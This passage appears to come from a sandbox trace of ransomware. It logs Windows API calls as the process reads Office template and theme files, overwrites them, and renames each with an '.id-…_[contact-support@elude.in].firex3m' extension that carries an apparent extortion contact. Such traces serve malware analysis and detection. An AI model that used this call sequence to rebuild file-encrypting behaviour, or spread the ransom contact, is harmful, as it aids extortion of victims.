(in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.620] ReadFile (in: hFile=0x704, lpBuffer=0x7377158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377158*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.217] GetProcessHeap () returned 0x630000 [0195.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0195.218] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.218] WriteFile (in: hFile=0x704, lpBuffer=0x7382588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382588*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.298] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.298] WriteFile (in: hFile=0x704, lpBuffer=0x738d987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d987*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.300] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.300] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.300] CloseHandle (hObject=0x704) returned 1 [0195.300] GetProcessHeap () returned 0x630000 [0195.300] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382588 | out: hHeap=0x630000) returned 1 [0195.304] GetProcessHeap () returned 0x630000 [0195.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377158 | out: hHeap=0x630000) returned 1 [0195.304] GetProcessHeap () returned 0x630000 [0195.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0196.304] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a5b329b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x71084, dwReserved0=0xcd87496, dwReserved1=0x7377150, cFileName="VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VPREVI~1.FIR")) returned 0x6d4ec0 [0196.304] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0196.304] Sleep (dwMilliseconds=0x1) [0196.314] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", len=0x3e | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT") returned 1 [0196.314] GetProcessHeap () returned 0x630000 [0196.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47c0) returned 0x7133a90 [0196.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0196.433] CloseHandle (hObject=0x430) returned 1 [0196.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR9XL~1.FIR")) returned 0x6d5240 [0196.950] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0196.950] GetProcessHeap () returned 0x630000 [0196.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7621) returned 0x73ab690 [0196.950] GetProcessHeap () returned 0x630000 [0196.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7621) returned 0x73005d8 [0196.950] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.950] ReadFile (in: hFile=0x430, lpBuffer=0x73ab690, nNumberOfBytesToRead=0x7600, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ab690*, lpNumberOfBytesRead=0x3f7ff0c*=0x7600, lpOverlapped=0x0) returned 1 [0201.251] GetProcessHeap () returned 0x630000 [0201.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0201.251] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.252] WriteFile (in: hFile=0x430, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0x7600, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x7600, lpOverlapped=0x0) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.252] WriteFile (in: hFile=0x430, lpBuffer=0x7307bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7307bd7*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.252] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.252] CloseHandle (hObject=0x430) returned 1 [0201.252] GetProcessHeap () returned 0x630000 [0201.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0201.253] GetProcessHeap () returned 0x630000 [0201.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73ab690 | out: hHeap=0x630000) returned 1 [0201.253] GetProcessHeap () returned 0x630000 [0201.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0201.253] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3de7b2b2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7624, dwReserved0=0xcd87496, dwReserved1=0x73ab688, cFileName="ADR9.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR9XL~1.FIR")) returned 0x6d5000 [0201.253] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0201.253] Sleep (dwMilliseconds=0x1) [0202.927] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl", len=0x7c | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl") returned 1 [0202.928] GetProcessHeap () returned 0x630000 [0202.928] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bf0) returned 0x7133a90 [0202.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.085] CloseHandle (hObject=0x3f8) returned 1 [0203.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5280 [0203.256] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0203.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.256] GetProcessHeap () returned 0x630000 [0203.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x726f450 [0203.256] GetProcessHeap () returned 0x630000 [0203.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7b41) returned 0x704b5d0 [0203.257] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.257] ReadFile (in: hFile=0x3f8, lpBuffer=0x726f450, nNumberOfBytesToRead=0x7b20, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726f450*, lpNumberOfBytesRead=0x3f7ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0207.504] GetProcessHeap () returned 0x630000 [0207.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0207.505] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.505] WriteFile (in: hFile=0x3f8, lpBuffer=0x704b5d0*, nNumberOfBytesToWrite=0x7b20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b5d0*, lpNumberOfBytesWritten=0x3f7ff0c*=0x7b20, lpOverlapped=0x0) returned 1 [0207.629] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.629] WriteFile (in: hFile=0x3f8, lpBuffer=0x70530ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70530ef*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.629] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.629] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.629] CloseHandle (hObject=0x3f8) returned 1 [0207.629] GetProcessHeap () returned 0x630000 [0207.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704b5d0 | out: hHeap=0x630000) returned 1 [0207.630] GetProcessHeap () returned 0x630000 [0207.630] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726f450 | out: hHeap=0x630000) returned 1 [0207.630] GetProcessHeap () returned 0x630000 [0207.630] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0207.630] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41b40727, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0xcd87496, dwReserved1=0x726f448, cFileName="informix.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INFORM~1.FIR")) returned 0x6d5280 [0207.631] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.631] Sleep (dwMilliseconds=0x1) [0209.671] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM", len=0x6c | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM") returned 1 [0209.671] GetProcessHeap () returned 0x630000 [0209.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e2c) returned 0x6fe4288 [0209.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0214.401] CloseHandle (hObject=0x414) returned 1 [0214.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STUDIO~1.FIR")) returned 0x6d5400 [0220.759] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0220.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0220.759] GetProcessHeap () returned 0x630000 [0220.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x743f278 [0220.759] GetProcessHeap () returned 0x630000 [0220.759] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0220.760] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.760] ReadFile (in: hFile=0x414, lpBuffer=0x743f278, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743f278*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0224.964] GetProcessHeap () returned 0x630000 [0224.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0224.964] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.964] WriteFile (in: hFile=0x414, lpBuffer=0x70c30a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.654] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.654] WriteFile (in: hFile=0x414, lpBuffer=0x70ce4a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4a7*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.729] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.729] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.729] CloseHandle (hObject=0x414) returned 1 [0225.729] GetProcessHeap () returned 0x630000 [0225.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0225.729] GetProcessHeap () returned 0x630000 [0225.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743f278 | out: hHeap=0x630000) returned 1 [0225.729] GetProcessHeap () returned 0x630000 [0225.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0226.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc011, dwReserved0=0xcd87496, dwReserved1=0x743f270, cFileName="STUDIO.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STUDIO~1.FIR")) returned 0x6d53c0 [0226.664] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0226.664] Sleep (dwMilliseconds=0x1) [0226.672] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\ThirdPartyNotices.txt", len=0x37 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Windows Defender\\ThirdPartyNotices.txt") returned 1 [0226.672] GetProcessHeap () returned 0x630000 [0226.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51fc) returned 0x6fe3bb0 [0226.672] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\ThirdPartyNotices.txt" (normalized: "c:\\program files\\windows defender\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.679] Sleep (dwMilliseconds=0x1) [0226.689] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\AmStatusInstall.mof", len=0x35 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Windows Defender\\AmStatusInstall.mof") returned 1 [0226.689] GetProcessHeap () returned 0x630000 [0226.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b4) returned 0x6fe3bb0 [0226.689] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\AmStatusInstall.mof" (normalized: "c:\\program files\\windows defender\\amstatusinstall.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 